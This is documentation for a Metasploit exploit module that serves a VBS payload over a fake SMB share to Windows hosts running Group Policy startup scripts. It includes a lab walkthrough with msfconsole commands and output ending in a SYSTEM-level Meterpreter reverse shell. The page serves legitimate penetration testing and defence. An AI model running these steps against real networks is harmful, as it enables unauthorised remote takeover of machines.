metasploit-framework/group_policy_startup.md at master

2.8 KiB

Raw Permalink Blame History

Vulnerable Application

This is a general-purpose module for exploiting systems with Windows Group Policy configured to load VBS startup/logon scripts from remote locations. This module runs a SMB shared resource that will provide a payload through a VBS file. Startup scripts will be executed with SYSTEM privileges, while logon scripts will be executed with the user privileges. The attacker still needs to redirect the target traffic to the fake SMB share to exploit it successfully.

Please note in some cases, it will take 5 to 10 minutes to receive a session.

More information available at Gotham Digital Science Security

Verification Steps

Start msfconsole
Do: use modules/exploits/windows/smb/group_policy_startup
Do: exploit

Options

FILE_NAME

VBS File name to share (Default: random .vbs)

FOLDER_NAME

Folder name to share (Default: none)

SHARE

Share name (Default: Random)

Scenarios

Domain Group Policy

In this scenario, the following computers are present:

Windows 7 (x64, Build 7601, SP1): Victim
Server 2016 (x64, Version 1607, OS Build 14393.970): Domain Controller

The module sets up the SMB share and VBScript file. Out of band (outside the scope of this module or docs) a Group Policy is simply applied to the OU computer container. Next, the Win 7 box grabs the payload, in this case the meterpreter reverse_tcp stager on boot, with SYSTEM privs because its executed as a start up script. Theoretically, any computer in that OU would also execute the script on started up.

msf > use modules/exploits/windows/smb/group_policy_startup
msf exploit(windows/smb/group_policy_startup) > set FILE_NAME startup.vbs
  FILE_NAME => startup.vbs
msf exploit(windows/smb/group_policy_startup) > set SHARE scripts
  SHARE => scripts
msf exploit(windows/smb/group_policy_startup) > exploit
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.

  [*] Started reverse TCP handler on 192.168.1.3:4444
  [*] File available on \\192.168.1.3\scripts\startup.vbs...
  [*] Started service listener on 192.168.1.3:445
  [*] Server started.
  [*] Sending stage (180291 bytes) to 192.168.1.4
  [*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.4:49178) at 2019-12-04 13:12:05 -0700
msf exploit(windows/smb/group_policy_startup) > sessions 1
  [*] Starting interaction with 1...

meterpreter > sysinfo
  Computer        : MSF-PC
  OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
  Architecture    : x64
  System Language : en_US
  Domain          : MSF
  Logged On Users : 1
  Meterpreter     : x86/windows
meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM

2.8 KiB Raw Permalink Blame History